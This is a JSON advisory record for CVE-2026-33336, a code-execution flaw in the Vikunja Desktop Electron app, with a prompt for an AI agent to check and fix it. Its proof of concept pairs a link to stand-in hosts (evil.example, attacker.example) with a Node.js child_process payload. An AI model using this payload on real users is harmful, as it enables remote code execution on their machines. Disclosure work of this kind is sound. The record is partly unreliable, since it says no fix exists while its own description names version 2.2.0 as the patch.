{"answers":{"affected":"It affects 1 product.","exploited":"It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33336 exists.","fix":"No fix has been published for CVE-2026-33336 yet. Limit exposure of the affected software until one is available.","what":"CVE-2026-33336 is a medium-severity code injection vulnerability in go-vikunja vikunja, published on 24 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for CVE-2026-33336 and fix it if it is affected.\n\nWhat it is: CVE-2026-33336 is a medium-severity code injection vulnerability in go-vikunja vikunja, published on 24 Mar 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33336 exists.\n\nAffected product: go-vikunja vikunja. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2026-33336/ (Markdown: https://insights.sbomify.com/CVE-2026-33336/index.md)","id":"CVE-2026-33336","markdown":"https://insights.sbomify.com/CVE-2026-33336/index.md","name":"CVE-2026-33336","record":{"aliases":["GHSA-83w9-9jf6-88vf"],"analysis":{"component_type":"desktop_application","fix_type":"upgrade","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"Vikunja Desktop","requires_auth":"none","summary":"Attacker can execute arbitrary code on victim's machine via malicious links in task descriptions due to enabled Node.js integration in Electron.","user_interaction":"required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"GitHub_M","cpe":[{"product":"vikunja","vendor":"vikunja"}],"cvss":{"score":6.5,"severity":"medium","source":"cna","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","version":"4.0"},"cwes":[{"id":"CWE-94","name":"Improper Control of Generation of Code"}],"description":"Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).","ecosystems":[],"exploits":{"exploitdb":0,"first_seen":null,"github_poc":0,"max_poc_stars":null,"metasploit":0,"nuclei":0,"refs":[],"tier":"weaponised"},"has_fix":false,"headline":"Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation","id":"CVE-2026-33336","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":null,"product":null,"products":[],"type":"code_injection","year":"2026"},"n_packages":0,"n_references":2,"next":{"headline":"Firebird has a buffer overflow when parsing corrupted slice packets","id":"CVE-2026-33337"},"packages":[],"prev":{"headline":"Vikunja Desktop allows arbitrary local application invocation via unvalidated shell.openExternal","id":"CVE-2026-33335"},"products":["vikunja"],"published":"2026-03-24","related":[{"cvss_score":9.8,"headline":"Vikunja Vulnerable to Account Takeover via Password Reset Token Reuse","id":"CVE-2026-28268","kev_date_added":null,"published":"2026-02-27"},{"cvss_score":9.1,"headline":"Vijkunja has Weak Password Policy Combined with Persistent Sessions After Password Change","id":"CVE-2026-27575","kev_date_added":null,"published":"2026-02-25"},{"cvss_score":8.6,"headline":"Vikunja Affected by XSS Via Task Preview","id":"CVE-2026-25935","kev_date_added":null,"published":"2026-02-11"},{"cvss_score":8.3,"headline":"Vikunja Affected by Privilege Escalation via Project Reparenting","id":"CVE-2026-35595","kev_date_added":null,"published":"2026-04-10"},{"cvss_score":8.1,"headline":"Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement","id":"CVE-2026-33316","kev_date_added":null,"published":"2026-03-24"},{"cvss_score":8.1,"headline":"Vikunja has IDOR in Task Attachment ReadOne Allows Cross-Project File Access and Deletion","id":"CVE-2026-33678","kev_date_added":null,"published":"2026-03-24"},{"cvss_score":7.5,"headline":"Vikunja Vulnerable to Link Share Hash Disclosure via ReadAll Endpoint Enables Permission Escalation","id":"CVE-2026-33680","kev_date_added":null,"published":"2026-03-24"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"}],"ssvc":{"automatable":"no","exploitation":"poc","technical_impact":"total"},"state":"PUBLISHED","updated":"2026-03-24","vendors":["go-vikunja"]},"summary":"Attacker can execute arbitrary code on victim's machine via malicious links in task descriptions due to enabled Node.js integration in Electron.","url":"https://insights.sbomify.com/CVE-2026-33336/"}